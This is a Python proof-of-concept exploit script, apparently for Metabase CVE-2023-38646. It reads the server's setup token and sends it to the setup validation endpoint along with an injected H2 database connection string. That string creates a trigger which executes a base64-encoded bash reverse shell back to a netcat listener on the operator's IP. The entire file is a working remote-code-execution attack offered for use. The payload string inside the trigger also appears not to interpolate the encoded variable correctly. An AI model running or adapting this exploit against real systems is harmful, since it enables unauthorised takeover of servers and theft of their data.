CVE-2023-38646.py

import sys
import json
import base64
import requests

def print_usage():
    print("Usage: python metabase_poc.py http://127.0.0.1:3000 listener_ip")
    print("Install listener before use: nc -lvnp 4444")

def exploit_metabase(api_url, listener_ip):
    listener_port = 4444
    payload = f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1"
    payload_encoded = base64.b64encode(payload.encode()).decode()

    url = f"{api_url}/api/session/properties"
    response = requests.get(url, verify=False)
    curl_data = response.json()

    setup_token = curl_data.get("setup-token")
    metabase_version = curl_data.get("version", {}).get("tag")

    print(f"Payload = {payload}")
    print(f"Setup_token = {setup_token}")
    print(f"Version = {metabase_version}")

    print("\n\t [*] TRY EXPLOIT [*]")

    exploit_data = {
        "token": f"{setup_token}{payload_encoded}",
        "details": {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules": {},
            "details": {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\njava.lang.Runtime.getRuntime().exec(\'bash -c {echo,'$payload$'}|{base64,-d}|{bash,-i}\')\\n$$--=x",
                "advanced-options": False,
                "ssl": True
            },
            "name": "test",
            "engine": "h2"
        }
    }

    exploit_url = f"{api_url}/api/setup/validate"
    headers = {"Content-Type": "application/json"}
    response = requests.post(exploit_url, json=exploit_data, verify=False)
    return response

def main():
    if len(sys.argv) < 3:
        print_usage()
        sys.exit(1)

    api_url = sys.argv[1]
    listener_ip = sys.argv[2]

    response = exploit_metabase(api_url, listener_ip)

if __name__ == "__main__":
    main()